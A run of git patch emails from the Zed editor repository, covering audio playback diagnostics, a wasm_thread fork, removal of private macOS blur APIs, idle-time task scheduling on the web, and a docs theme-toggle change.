+use crate::RemoteAudioPlaybackStats;
+
 struct TimestampedFrame {
     frame: AudioFrame<'static>,
     captured_at: Instant,
@@ -91,6 +93,7 @@ impl AudioStack {
             sample_rate: SAMPLE_RATE.get(),
             num_channels: CHANNEL_COUNT.get() as u32,
             buffer: Arc::default(),
+            diagnostics: Arc::default(),
         };
         self.mixer.lock().add_source(source.clone());
 
@@ -109,6 +112,7 @@ impl AudioStack {
             }
         });
 
+        let diagnostics = source.diagnostics.clone();
         let mixer = self.mixer.clone();
         let on_drop = util::defer(move || {
             mixer.lock().remove_source(source.ssrc);
@@ -116,8 +120,9 @@ impl AudioStack {
             drop(output_task);
         });
 
-        AudioStream::Output {
+        AudioStream {
             _drop: Box::new(on_drop),
+            remote_playback_diagnostics: Some(diagnostics),
         }
     }
 
@@ -211,8 +216,9 @@ impl AudioStack {
         });
         Ok((
             super::LocalAudioTrack(track),
-            AudioStream::Output {
+            AudioStream {
                 _drop: Box::new(on_drop),
+                remote_playback_diagnostics: None,
             },
             input_lag_us,
         ))
@@ -417,9 +423,17 @@ pub struct Speaker {
 
 use super::LocalVideoTrack;
 
-pub enum AudioStream {
-    Input { _task: Task<()> },
-    Output { _drop: Box<dyn std::any::Any> },
+pub struct AudioStream {
+    _drop: Box<dyn std::any::Any>,
+    remote_playback_diagnostics: Option<Arc<RemoteAudioPlaybackCounters>>,
+}
+
+impl AudioStream {
+    pub fn remote_playback_stats(&self) -> Option<RemoteAudioPlaybackStats> {
+        self.remote_playback_diagnostics
+            .as_ref()
+            .map(|diagnostics| diagnostics.snapshot())
+    }
 }
 
 pub(crate) async fn capture_local_video_track(
@@ -468,6 +482,28 @@ struct AudioMixerSource {
     sample_rate: u32,
     num_channels: u32,
     buffer: Arc<Mutex<VecDeque<Vec<i16>>>>,
+    diagnostics: Arc<RemoteAudioPlaybackCounters>,
+}
+
+#[derive(Default)]
+struct RemoteAudioPlaybackCounters {
+    frames_received: AtomicU64,
+    frames_dropped: AtomicU64,
+    queue_underflows: AtomicU64,
+    current_queue_depth: AtomicU64,
+    maximum_queue_depth: AtomicU64,
+}
+
+impl RemoteAudioPlaybackCounters {
+    fn snapshot(&self) -> RemoteAudioPlaybackStats {
+        RemoteAudioPlaybackStats {
+            frames_received: self.frames_received.load(Ordering::Relaxed),
+            frames_dropped: self.frames_dropped.load(Ordering::Relaxed),
+            queue_underflows: self.queue_underflows.load(Ordering::Relaxed),
+            current_queue_depth: self.current_queue_depth.load(Ordering::Relaxed),
+            maximum_queue_depth: self.maximum_queue_depth.load(Ordering::Relaxed),
+        }
+    }
 }
 
 impl AudioMixerSource {
@@ -479,8 +515,23 @@ impl AudioMixerSource {
 
         let mut buffer = self.buffer.lock();
         buffer.push_back(frame.data.to_vec());
+        self.diagnostics
+            .frames_received
+            .fetch_add(1, Ordering::Relaxed);
         while buffer.len() > 10 {
             buffer.pop_front();
+            self.diagnostics
+                .frames_dropped
+                .fetch_add(1, Ordering::Relaxed);
+        }
+        let queue_depth = buffer.len() as u64;
+        self.diagnostics
+            .current_queue_depth
+            .store(queue_depth, Ordering::Relaxed);
+        if queue_depth > self.diagnostics.maximum_queue_depth.load(Ordering::Relaxed) {
+            self.diagnostics
+                .maximum_queue_depth
+                .fetch_max(queue_depth, Ordering::Relaxed);
         }
     }
 }
@@ -496,7 +547,16 @@ impl libwebrtc::native::audio_mixer::AudioMixerSource for AudioMixerSource {
 
     fn get_audio_frame_with_info<'a>(&self, target_sample_rate: u32) -> Option<AudioFrame<'_>> {
         assert_eq!(self.sample_rate, target_sample_rate);
-        let buf = self.buffer.lock().pop_front()?;
+        let mut buffer = self.buffer.lock();
+        let Some(buf) = buffer.pop_front() else {
+            self.diagnostics
+                .queue_underflows
+                .fetch_add(1, Ordering::Relaxed);
+            return None;
+        };
+        self.diagnostics
+            .current_queue_depth
+            .store(buffer.len() as u64, Ordering::Relaxed);
         Some(AudioFrame {
             data: Cow::Owned(buf),
             sample_rate: self.sample_rate,
diff --git a/crates/livekit_client/src/mock_client.rs b/crates/livekit_client/src/mock_client.rs
index d1cd399d256d6b..fff81d341a012a 100644
--- a/crates/livekit_client/src/mock_client.rs
+++ b/crates/livekit_client/src/mock_client.rs
@@ -19,6 +19,12 @@ pub use test::{ConnectionState, ParticipantIdentity, RtcStats, SessionStats, Tra
 
 pub struct AudioStream {}
 
+impl AudioStream {
+    pub fn remote_playback_stats(&self) -> Option<crate::RemoteAudioPlaybackStats> {
+        None
+    }
+}
+
 #[cfg(not(target_os = "macos"))]
 pub type RemoteVideoFrame = std::sync::Arc<gpui::RenderImage>;
 
diff --git a/crates/livekit_client/src/mock_client/track.rs b/crates/livekit_client/src/mock_client/track.rs
index e1565e8d71ed9d..15579679258697 100644
--- a/crates/livekit_client/src/mock_client/track.rs
+++ b/crates/livekit_client/src/mock_client/track.rs
@@ -28,6 +28,10 @@ impl RemoteAudioTrack {
         self.server_track.sid.clone()
     }
 
+    pub fn rtc_track_id(&self) -> String {
+        self.server_track.sid.to_string()
+    }
+
     pub fn publisher_id(&self) -> ParticipantIdentity {
         self.server_track.publisher_id.clone()
     }
diff --git a/crates/title_bar/src/collab.rs b/crates/title_bar/src/collab.rs
index 3d498c6fd8922f..fe418bef36d044 100644
--- a/crates/title_bar/src/collab.rs
+++ b/crates/title_bar/src/collab.rs
@@ -27,7 +27,7 @@ use zed_actions::ShowCallStats;
 
 use crate::TitleBar;
 
-fn format_stat(value: Option<f64>, format: impl Fn(f64) -> String) -> String {
+fn format_stat<T>(value: Option<T>, format: impl Fn(T) -> String) -> String {
     match value {
         Some(v) => format(v),
         None => "—".to_string(),
@@ -373,7 +373,10 @@ impl TitleBar {
             .channel_id()
             .and_then(|channel_id| channel_store.read(cx).channel_for_id(channel_id).cloned());
 
-        let effective_quality = stats.effective_quality.unwrap_or(ConnectionQuality::Lost);
+        let effective_quality = stats
+            .effective_quality
+            .map(|inner| inner.0)
+            .unwrap_or(ConnectionQuality::Lost);
         let (signal_icon, signal_color, quality_label) = match effective_quality {
             ConnectionQuality::Excellent => {
                 (IconName::SignalHigh, Some(Color::Success), "Excellent")
@@ -414,8 +417,8 @@ impl TitleBar {
                         let packet_loss =
                             format_stat(stats.packet_loss_pct, |v| format!("{:.1}%", v));
                         let input_lag =
-                            format_stat(stats.input_lag.map(|d| d.as_secs_f64() * 1000.0), |v| {
-                                format!("{:.1}ms", v)
+                            format_stat(stats.input_lag.map(|d| d.0.as_millis()), |v| {
+                                format!("{}ms", v)
                             });
 
                         let key_binding = KeyBinding::for_action(&ShowCallStats, cx);

From 424a68244aa9b8ac9d4766e51b0824d2b2174bd7 Mon Sep 17 00:00:00 2001
From: Piotr Osiewicz <24362066+osiewicz@users.noreply.github.com>
Date: Tue, 28 Jul 2026 19:12:43 +0200
Subject: [PATCH 748/772] gpui_web: Point wasm_thread at a fork that fixes the
 wasm-bindgen init call (#61807)

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
---
 Cargo.lock                 | 3 +--
 crates/gpui_web/Cargo.toml | 6 +++++-
 2 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 6a9ecdf8f9e5fb..00c4a0d9bbd45b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -20615,8 +20615,7 @@ dependencies = [
 [[package]]
 name = "wasm_thread"
 version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b7516db7f32decdadb1c3b8deb1b7d78b9df7606c5cc2f6241737c2ab3a0258e"
+source = "git+https://github.com/zed-industries/wasm_thread?rev=0cf96c7708dfb97ccf3da50347e25edcf75d6937#0cf96c7708dfb97ccf3da50347e25edcf75d6937"
 dependencies = [
  "futures 0.3.32",
  "js-sys",
diff --git a/crates/gpui_web/Cargo.toml b/crates/gpui_web/Cargo.toml
index a29ca34060744b..eee71bafec7ff8 100644
--- a/crates/gpui_web/Cargo.toml
+++ b/crates/gpui_web/Cargo.toml
@@ -31,7 +31,11 @@ web-time.workspace = true
 console_error_panic_hook.workspace = true
 js-sys.workspace = true
 raw-window-handle.workspace = true
-wasm_thread = { version = "0.3", features = ["es_modules"], optional = true }
+# Forked because upstream is unmaintained and its worker bootstrap still calls
+# the wasm-bindgen init function with the positional arguments deprecated in 0.2.93.
+wasm_thread = { git = "https://github.com/zed-industries/wasm_thread", rev = "0cf96c7708dfb97ccf3da50347e25edcf75d6937", version = "0.3", features = [
+    "es_modules",
+], optional = true }
 web-sys = { version = "0.3", features = [
     "console",
     "Clipboard",

From 06b6160d46ae8a9074cd367ed64f742b47beca64 Mon Sep 17 00:00:00 2001
From: Uriah Galang <codeitlikemiley@gmail.com>
Date: Wed, 29 Jul 2026 05:01:15 +0800
Subject: [PATCH 749/772] gpui_macos: Drop legacy pre-macOS 12 blur path and
 its private CGS APIs (#56315)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

`gpui_macos` links two private CoreGraphics Services APIs
unconditionally:

```rust
#[link(name = "CoreGraphics", kind = "framework")]
unsafe extern "C" {
    fn CGSMainConnectionID() -> id;
    fn CGSSetWindowBackgroundBlurRadius(...) -> i32;
}
```

Apple rejects App Store submissions that reference private APIs, so any
application built on GPUI is ineligible for the Mac App Store —
regardless of
whether it ever sets `WindowBackgroundAppearance::Blurred`, since the
symbols are
linked either way.

Their only call site is the `NSAppKitVersionNumber <
NSAppKitVersionNumber12_0`
branch: macOS 11 and earlier. On macOS 12+ the same effect already goes
through
`NSVisualEffectView`, which the existing comment notes is the better
path anyway
(it downsamples the backdrop and gives more control over the effect
layer).

This deletes the legacy branch and the extern block.

## Changed from the previous revision of this PR

This originally added a `macos_app_store` feature gate. @reflectronic
suggested
deleting the legacy `WindowBackgroundAppearance::Blurred` support
instead of
carrying a flag — that is the better call and this PR now does that.

It is the stronger fix on the merits, not just the smaller one: deleting
makes
every GPUI consumer App Store eligible, whereas a feature flag only
helps those
who opt in and leaves the default build ineligible. It also removes a
conditional-compilation path rather than adding one. The diff went from
3 files / +13 −7 to **1 file / +23 −52**.

## Notes for review

Two details that are easy to miss:

- `this.native_window.windowNumber()` resolved through cocoa's
**`NSEvent`**
trait rather than `NSWindow` — `id` is untyped, so it picks up every
trait in
scope. Removing that call makes the `NSEvent` import genuinely unused,
so it is
dropped. Verified against a build of unmodified `main`, which does not
emit
  that warning, to confirm this is a consequence of the change and not
  pre-existing.
- `NSAppKitVersionNumber` and `NSAppKitVersionNumber12_0` had no other
users and
  are dropped with it.

The `NSVisualEffectView` branch is preserved verbatim; the only change
to it is
one level of de-indentation.

## Behaviour change

On macOS 11 and earlier, `WindowBackgroundAppearance::Blurred` no longer
applies
a blur — the window falls back to the `NSVisualEffectView` path, which
those
releases handle via `CAProxyLayer` rather than concrete sublayers. macOS
11 is
past end of life. Every other platform and macOS 12+ are unaffected.

## Verification

`cargo check -p gpui_macos` on macOS — clean, no errors and no new
warnings.

The identical change was also applied to a downstream GPUI fork and
built against
a ~60k-line application using `gpui-component`, where CI passed on
macOS, Ubuntu
and Windows.

Release Notes:

- N/A
---
 crates/gpui_macos/src/window.rs | 75 ++++++++++-----------------------
 1 file changed, 23 insertions(+), 52 deletions(-)

diff --git a/crates/gpui_macos/src/window.rs b/crates/gpui_macos/src/window.rs
index 4314d07cc825f3..d094211516889e 100644
--- a/crates/gpui_macos/src/window.rs
+++ b/crates/gpui_macos/src/window.rs
@@ -9,12 +9,11 @@ use anyhow::Result;
 use block::ConcreteBlock;
 use cocoa::{
     appkit::{
-        NSAppKitVersionNumber, NSAppKitVersionNumber12_0, NSApplication, NSBackingStoreBuffered,
-        NSColor, NSEvent, NSEventModifierFlags, NSFilenamesPboardType, NSPasteboard,
-        NSRequestUserAttentionType, NSScreen, NSView, NSViewHeightSizable, NSViewWidthSizable,
-        NSVisualEffectMaterial, NSVisualEffectState, NSVisualEffectView, NSWindow,
-        NSWindowCollectionBehavior, NSWindowOcclusionState, NSWindowOrderingMode,
-        NSWindowStyleMask, NSWindowTitleVisibility,
+        NSApplication, NSBackingStoreBuffered, NSColor, NSEventModifierFlags,
+        NSFilenamesPboardType, NSPasteboard, NSRequestUserAttentionType, NSScreen, NSView,
+        NSViewHeightSizable, NSViewWidthSizable, NSVisualEffectMaterial, NSVisualEffectState,
+        NSVisualEffectView, NSWindow, NSWindowCollectionBehavior, NSWindowOcclusionState,
+        NSWindowOrderingMode, NSWindowStyleMask, NSWindowTitleVisibility,
     },
     base::{id, nil},
     foundation::{
@@ -116,17 +115,6 @@ pub enum UserTabbingPreference {
     InFullScreen,
 }
 
-#[link(name = "CoreGraphics", kind = "framework")]
-unsafe extern "C" {
-    // Widely used private APIs; Apple uses them for their Terminal.app.
-    fn CGSMainConnectionID() -> id;
-    fn CGSSetWindowBackgroundBlurRadius(
-        connection_id: id,
-        window_id: NSInteger,
-        radius: i64,
-    ) -> i32;
-}
-
 #[ctor(unsafe)]
 unsafe fn build_classes() {
     unsafe {
@@ -1539,42 +1527,25 @@ impl PlatformWindow for MacWindow {
             };
             this.native_window.setBackgroundColor_(background_color);
 
-            if NSAppKitVersionNumber < NSAppKitVersionNumber12_0 {
-                // Whether `-[NSVisualEffectView respondsToSelector:@selector(_updateProxyLayer)]`.
-                // On macOS Catalina/Big Sur `NSVisualEffectView` doesn’t own concrete sublayers
-                // but uses a `CAProxyLayer`. Use the legacy WindowServer API.
-                let blur_radius = if background_appearance == WindowBackgroundAppearance::Blurred {
-                    80
-                } else {
-                    0
-                };
-
-                let window_number = this.native_window.windowNumber();
-                CGSSetWindowBackgroundBlurRadius(CGSMainConnectionID(), window_number, blur_radius);
-            } else {
-                // On newer macOS `NSVisualEffectView` manages the effect layer directly. Using it
-                // could have a better performance (it downsamples the backdrop) and more control
-                // over the effect layer.
-                if background_appearance != WindowBackgroundAppearance::Blurred {
-                    if let Some(blur_view) = this.blurred_view {
-                        NSView::removeFromSuperview(blur_view);
-                        this.blurred_view = None;
-                    }
-                } else if this.blurred_view.is_none() {
-                    let content_view = this.native_window.contentView();
-                    let frame = NSView::bounds(content_view);
-                    let mut blur_view: id = msg_send![BLURRED_VIEW_CLASS, alloc];
-                    blur_view = NSView::initWithFrame_(blur_view, frame);
-                    blur_view.setAutoresizingMask_(NSViewWidthSizable | NSViewHeightSizable);
-
-                    let _: () = msg_send![
-                        content_view,
-                        addSubview: blur_view
-                        positioned: NSWindowOrderingMode::NSWindowBelow
-                        relativeTo: nil
-                    ];
-                    this.blurred_view = Some(blur_view.autorelease());
+            if background_appearance != WindowBackgroundAppearance::Blurred {
+                if let Some(blur_view) = this.blurred_view {
+                    NSView::removeFromSuperview(blur_view);
+                    this.blurred_view = None;
                 }
+            } else if this.blurred_view.is_none() {
+                let content_view = this.native_window.contentView();
+                let frame = NSView::bounds(content_view);
+                let mut blur_view: id = msg_send![BLURRED_VIEW_CLASS, alloc];
+                blur_view = NSView::initWithFrame_(blur_view, frame);
+                blur_view.setAutoresizingMask_(NSViewWidthSizable | NSViewHeightSizable);
+
+                let _: () = msg_send![
+                    content_view,
+                    addSubview: blur_view
+                    positioned: NSWindowOrderingMode::NSWindowBelow
+                    relativeTo: nil
+                ];
+                this.blurred_view = Some(blur_view.autorelease());
             }
         }
     }

From 82aef44308540b576e4e51fb379efa71614e5c91 Mon Sep 17 00:00:00 2001
From: Cole Miller <cole@zed.dev>
Date: Wed, 29 Jul 2026 02:41:29 -0400
Subject: [PATCH 750/772] gpui: Add an abstraction for scheduling foreground
 work for idle periods, and implement it for the web (#61827)

- Add `ForegroundExecutor::spawn_when_idle(timeout, future)`, which
schedules `future` to be polled on the main thread when the main thread
is idle, but tries to do so no later than `timeout` after the current
instant (with the same `timeout` being applied to subsequent polls of
the same future)
- Add `Platform::dispatch_on_main_thread_when_idle(runnable, timeout)`
as the basis for `spawn_when_idle`, with a default implementation that
ignores the timeout and delegates to `dispatch_on_main_thread(runnable,
Priority::Low)`
- Implement `dispatch_on_main_thread_when_idle` for the web platform
using
[`requestIdleCallback`](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback)

Release Notes:
- N/A
---
 crates/gpui/src/executor.rs       | 34 ++++++++++++
 crates/gpui/src/platform.rs       | 13 +++++
 crates/gpui_web/Cargo.toml        |  2 +
 crates/gpui_web/src/dispatcher.rs | 91 +++++++++++++++++++++++++++++++
 crates/scheduler/src/executor.rs  | 27 +++++++++
 5 files changed, 167 insertions(+)

diff --git a/crates/gpui/src/executor.rs b/crates/gpui/src/executor.rs
index 7f8d7da0d483fa..92afc696d4536e 100644
--- a/crates/gpui/src/executor.rs
+++ b/crates/gpui/src/executor.rs
@@ -332,6 +332,40 @@ impl ForegroundExecutor {
         self.inner.spawn(future)
     }
 
+    /// On platforms with dedicated support, enqueues the given future to run
+    /// on the main thread during platform idle time. Without a `timeout`,
+    /// polls may be deferred indefinitely while the platform stays busy;
+    /// with one, a poll still waiting after that long runs as ordinary main-thread work.
+    /// Each poll occupies part of one idle slice, so long synchronous stretches
+    /// should bound themselves against [`Self::idle_time_remaining`] and yield.
+    ///
+    /// On platforms without dedicated support, schedules the given future to run
+    /// with a low priority, ignoring `timeout`.
+    #[track_caller]
+    pub fn spawn_when_idle<R>(
+        &self,
+        timeout: Option<Duration>,
+        future: impl Future<Output = R> + 'static,
+    ) -> Task<R>
+    where
+        R: 'static,
+    {
+        let dispatcher = self.dispatcher.clone();
+        self.inner
+            .spawn_with_dispatch(future.boxed_local(), move |runnable| {
+                dispatcher.dispatch_on_main_thread_when_idle(runnable, timeout);
+            })
+    }
+
+    /// The time remaining in the current idle slice, when called from a task
+    /// spawned via [`Self::spawn_when_idle`] on a platform that meters idle
+    /// time. `None` when idle time is unmetered (or the caller is not inside
+    /// an idle slice); work that must bound itself should then fall back to a
+    /// budget of its own.
+    pub fn idle_time_remaining(&self) -> Option<Duration> {
+        self.dispatcher.idle_time_remaining()
+    }
+
     /// Used by the test harness to run an async test in a synchronous fashion.
     #[cfg(any(test, feature = "test-support"))]
     #[track_caller]
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index d6b2c1acdf5c45..bc73a560602a11 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -1007,6 +1007,19 @@ pub trait PlatformDispatcher: Send + Sync {
     fn dispatch_on_main_thread(&self, runnable: RunnableVariant, priority: Priority);
     fn dispatch_after(&self, duration: Duration, runnable: RunnableVariant);
 
+    fn dispatch_on_main_thread_when_idle(
+        &self,
+        runnable: RunnableVariant,
+        timeout: Option<Duration>,
+    ) {
+        let _ = timeout;
+        self.dispatch_on_main_thread(runnable, Priority::Low);
+    }
+
+    fn idle_time_remaining(&self) -> Option<Duration> {
+        None
+    }
+
     fn spawn_realtime(&self, f: Box<dyn FnOnce() + Send>);
 
     fn now(&self) -> Instant {
diff --git a/crates/gpui_web/Cargo.toml b/crates/gpui_web/Cargo.toml
index eee71bafec7ff8..2ec64e69686eef 100644
--- a/crates/gpui_web/Cargo.toml
+++ b/crates/gpui_web/Cargo.toml
@@ -51,6 +51,8 @@ web-sys = { version = "0.3", features = [
     "HtmlCanvasElement",
     "HtmlElement",
     "HtmlInputElement",
+    "IdleDeadline",
+    "IdleRequestOptions",
     "KeyboardEvent",
     "MediaQueryList",
     "MediaQueryListEvent",
diff --git a/crates/gpui_web/src/dispatcher.rs b/crates/gpui_web/src/dispatcher.rs
index a00c81bf5fede6..37ba891f70e927 100644
--- a/crates/gpui_web/src/dispatcher.rs
+++ b/crates/gpui_web/src/dispatcher.rs
@@ -1,6 +1,7 @@
 use gpui::{
     PlatformDispatcher, Priority, PriorityQueueReceiver, PriorityQueueSender, RunnableVariant,
 };
+use std::cell::{Cell, RefCell};
 use std::sync::Arc;
 use std::sync::atomic::AtomicI32;
 use std::time::Duration;
@@ -39,6 +40,10 @@ enum MainThreadItem {
         runnable: RunnableVariant,
         millis: i32,
     },
+    Idle {
+        runnable: RunnableVariant,
+        timeout: Option<Duration>,
+    },
     Function(Box<dyn FnOnce() + Send>),
     // TODO-Wasm: Shouldn't these run on their own dedicated thread?
     RealtimeFunction(Box<dyn FnOnce() + Send>),
@@ -293,6 +298,31 @@ impl PlatformDispatcher for WebDispatcher {
         }
     }
 
+    fn dispatch_on_main_thread_when_idle(
+        &self,
+        runnable: RunnableVariant,
+        timeout: Option<Duration>,
+    ) {
+        if self.on_main_thread() {
+            schedule_idle_runnable(&browser_window(), runnable, timeout);
+        } else {
+            self.main_thread_mailbox
+                .post(Priority::Low, MainThreadItem::Idle { runnable, timeout });
+        }
+    }
+
+    fn idle_time_remaining(&self) -> Option<Duration> {
+        if !self.on_main_thread() {
+            return None;
+        }
+        IDLE_DEADLINE.with(|deadline| {
+            deadline
+                .borrow()
+                .as_ref()
+                .map(|deadline| Duration::from_secs_f64(deadline.time_remaining() / 1000.0))
+        })
+    }
+
     fn now(&self) -> Instant {
         Instant::now()
     }
@@ -307,6 +337,9 @@ fn execute_on_main_thread(window: &web_sys::Window, item: MainThreadItem) {
         MainThreadItem::Runnable(runnable) => {
             runnable.run();
         }
+        MainThreadItem::Idle { runnable, timeout } => {
+            schedule_idle_runnable(window, runnable, timeout);
+        }
         MainThreadItem::Delayed { runnable, millis } => {
             let callback = Closure::once_into_js(move || {
                 runnable.run();
@@ -324,6 +357,64 @@ fn execute_on_main_thread(window: &web_sys::Window, item: MainThreadItem) {
     }
 }
 
+thread_local! {
+    /// The deadline of the idle callback currently running; read by
+    /// [`PlatformDispatcher::idle_time_remaining`] from inside the runnable.
+    static IDLE_DEADLINE: RefCell<Option<web_sys::IdleDeadline>> = const { RefCell::new(None) };
+    /// Whether `requestIdleCallback` exists (it is absent on Safari), probed
+    /// on first use.
+    static IDLE_CALLBACK_SUPPORTED: Cell<Option<bool>> = const { Cell::new(None) };
+}
+
+/// Registers one `requestIdleCallback` per runnable, mirroring how
+/// `dispatch_after` maps each timer to its own platform alarm. The browser
+/// already provides the queue semantics a central pump would rebuild: idle
+/// callbacks run in registration order, an idle period drains as many as its
+/// deadline allows, and a callback whose `timeout` expires is posted as an
+/// ordinary task instead.
+fn schedule_idle_runnable(
+    window: &web_sys::Window,
+    runnable: RunnableVariant,
+    timeout: Option<Duration>,
+) {
+    if !idle_callback_supported(window) {
+        // Safari: run idle work as ordinary macrotasks. With no metered
+        // deadline, `idle_time_remaining` stays `None` and idle tasks bound
+        // their own slices.
+        schedule_runnable(window, runnable, Priority::Low);
+        return;
+    }
+    let callback = Closure::once_into_js(move |deadline: web_sys::IdleDeadline| {
+        IDLE_DEADLINE.with(|current| *current.borrow_mut() = Some(deadline));
+        runnable.run();
+        IDLE_DEADLINE.with(|current| *current.borrow_mut() = None);
+    });
+    let result = match timeout {
+        Some(timeout) => {
+            let options = web_sys::IdleRequestOptions::new();
+            options.set_timeout(timeout.as_millis().min(u32::MAX as u128) as u32);
+            window.request_idle_callback_with_options(callback.unchecked_ref(), &options)
+        }
+        None => window.request_idle_callback(callback.unchecked_ref()),
+    };
+    if let Err(error) = result {
+        log::error!("requestIdleCallback failed: {error:?}");
+    }
+}
+
+fn idle_callback_supported(window: &web_sys::Window) -> bool {
+    IDLE_CALLBACK_SUPPORTED.with(|supported| {
+        if let Some(supported) = supported.get() {
+            return supported;
+        }
+        let probed =
+            js_sys::Reflect::has(window.as_ref(), &JsValue::from_str("requestIdleCallback"))
+                .unwrap_or(false);
+        supported.set(Some(probed));
+        probed
+    })
+}
+
 fn schedule_runnable(window: &web_sys::Window, runnable: RunnableVariant, priority: Priority) {
     let callback = Closure::once_into_js(move || {
         runnable.run();
diff --git a/crates/scheduler/src/executor.rs b/crates/scheduler/src/executor.rs
index 959c2e32072887..7791abfc178511 100644
--- a/crates/scheduler/src/executor.rs
+++ b/crates/scheduler/src/executor.rs
@@ -79,6 +79,33 @@ impl LocalExecutor {
         Task(TaskState::Spawned(task))
     }
 
+    /// Like [`Self::spawn`], but routes the task's runnables through the
+    /// given dispatch destination instead of this executor's own. The
+    /// destination must deliver runnables to this executor's thread: the
+    /// future is polled and dropped on the spawning thread.
+    #[track_caller]
+    pub fn spawn_with_dispatch<F>(
+        &self,
+        future: F,
+        dispatch: impl Fn(Runnable<RunnableMeta>) + Send + Sync + 'static,
+    ) -> Task<F::Output>
+    where
+        F: Future + 'static,
+        F::Output: 'static,
+    {
+        let location = Location::caller();
+        let (runnable, task) = spawn_local_with_source_location(
+            future,
+            dispatch,
+            RunnableMeta {
+                location,
+                spawned: crate::SpawnTime(Instant::now()),
+            },
+        );
+        runnable.schedule();
+        Task(TaskState::Spawned(task))
+    }
+
     pub fn block_on<Fut: Future>(&self, future: Fut) -> Fut::Output {
         use std::cell::Cell;
 

From 5333ca1af7900d82cb939436ea5b7020ae7f317a Mon Sep 17 00:00:00 2001
From: Lukas Geiger <lukas.geiger94@gmail.com>
Date: Wed, 29 Jul 2026 11:25:16 +0200
Subject: [PATCH 751/772] git: Do not re-compute git_access for `.git/` changes
 (#60503)

This builds on #59521 and addresses @dinocosta's comment
https://github.com/zed-industries/zed/pull/59521#pullrequestreview-4563460240

Looking at it again, I think
https://github.com/zed-industries/zed/pull/59521/commits/e7ed02cc4963868632ba97a1fb09f1b398d3b22b
was too conservative. Re-running the access check on every commit,
stage, or checkout, doesn't really make sense. Access depends on `.git`
ownership/permissions and on the global `safe.directory` config.

File writes in `.git/` can actually never change the access. The only
case where this access can change is an external command that changes
the ownership or permission of the folder. That sounds like a quite rare
edge case and I'm not 100% sure whether all file watchers even currently
correctly trigger events for ownership changes. @dinocosta Let me know
what you think.

Release Notes:

- Improved Git Panel performance by avoiding redundant repository access
checks.

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/git_ui/src/git_panel.rs  | 7 +------
 crates/project/src/git_store.rs | 2 --
 2 files changed, 1 insertion(+), 8 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 46fd0949dff1a2..8c394255c986c9 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -1189,12 +1189,7 @@ impl GitPanel {
                     | GitStoreEvent::ActiveRepositoryChanged(_) => {
                         this.schedule_update(window, cx);
                     }
-                    GitStoreEvent::RepositoryUpdated(
-                        _,
-                        RepositoryEvent::GitDirectoryChanged,
-                        true,
-                    )
-                    | GitStoreEvent::GlobalConfigurationUpdated => {
+                    GitStoreEvent::GlobalConfigurationUpdated => {
                         this.git_access = None;
                         this.schedule_update(window, cx);
                     }
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index eb998cb7d9620a..2c279742dfc44c 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -602,7 +602,6 @@ pub enum RepositoryEvent {
     GitWorktreeListChanged,
     PendingOpsChanged { pending_ops: SumTree<PendingOps> },
     GraphEvent((LogSource, LogOrder), GitGraphEvent),
-    GitDirectoryChanged,
 }
 
 #[derive(Clone, Debug)]
@@ -2544,7 +2543,6 @@ impl GitStore {
                         || update.new_work_directory_abs_path.as_ref() == Some(repo_abs_path)
                 }) {
                     repository.reload_buffer_diff_bases(cx);
-                    cx.emit(RepositoryEvent::GitDirectoryChanged);
                 }
             });
         }

From bdb28659c278ffca840f5a4dd24edc86b8269d5c Mon Sep 17 00:00:00 2001
From: Public Profile <latchkey@gmail.com>
Date: Wed, 29 Jul 2026 03:02:03 -0700
Subject: [PATCH 752/772] docs: Simplify theme toggle (#57900)

Instead of a dropdown, it is now just a one-click icon.

Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Release Notes:

- Improved theme toggle for the documentation website

---------

Co-authored-by: Gaauwe Rombouts <mail@grombouts.nl>
---
 docs/theme/css/chrome.css | 55 -----------------------------------
 docs/theme/index.hbs      | 16 ++++++----
 docs/theme/plugins.js     | 61 ++++++++++++++++++++++++++++++++++-----
 3 files changed, 64 insertions(+), 68 deletions(-)

diff --git a/docs/theme/css/chrome.css b/docs/theme/css/chrome.css
index f0169fd7c87f73..aaed88bd7617f0 100644
--- a/docs/theme/css/chrome.css
+++ b/docs/theme/css/chrome.css
@@ -660,57 +660,6 @@ ul#searchresults span.teaser em {
   gap: 0.6em;
 }
 
-.theme-popup {
-  position: absolute;
-  right: 155px;
-  top: calc(var(--menu-bar-height) - 18px);
-  z-index: 1000;
-  border-radius: 4px;
-  font-size: 1.4rem;
-  color: var(--fg);
-  background: var(--popover-bg);
-  border: 1px solid var(--popover-border);
-  margin: 0;
-  padding: 0;
-  list-style: none;
-  display: none;
-  overflow: hidden;
-}
-
-[dir="rtl"] .theme-popup {
-  left: unset;
-  right: 10px;
-}
-.theme-popup .default {
-  color: var(--icons);
-}
-.theme-popup .theme {
-  width: 100%;
-  border: 0;
-  margin: 0;
-  padding: 2px 24px;
-  line-height: 25px;
-  white-space: nowrap;
-  text-align: start;
-  cursor: pointer;
-  color: inherit;
-  background: inherit;
-  font-size: inherit;
-  font-family: inherit;
-}
-.theme-popup .theme:hover {
-  background-color: var(--theme-hover);
-}
-
-.theme-selected::before {
-  font-family: Arial, Helvetica, sans-serif;
-  text-align: center;
-  display: inline-block;
-  content: "✓";
-  margin-inline-start: -20px;
-  width: 20px;
-}
-
 .download-button {
   max-height: 28px;
   margin-left: 8px;
@@ -861,8 +810,4 @@ ul#searchresults span.teaser em {
   .search-content-mobile {
     display: flex;
   }
-
-  .theme-popup {
-    right: 15px;
-  }
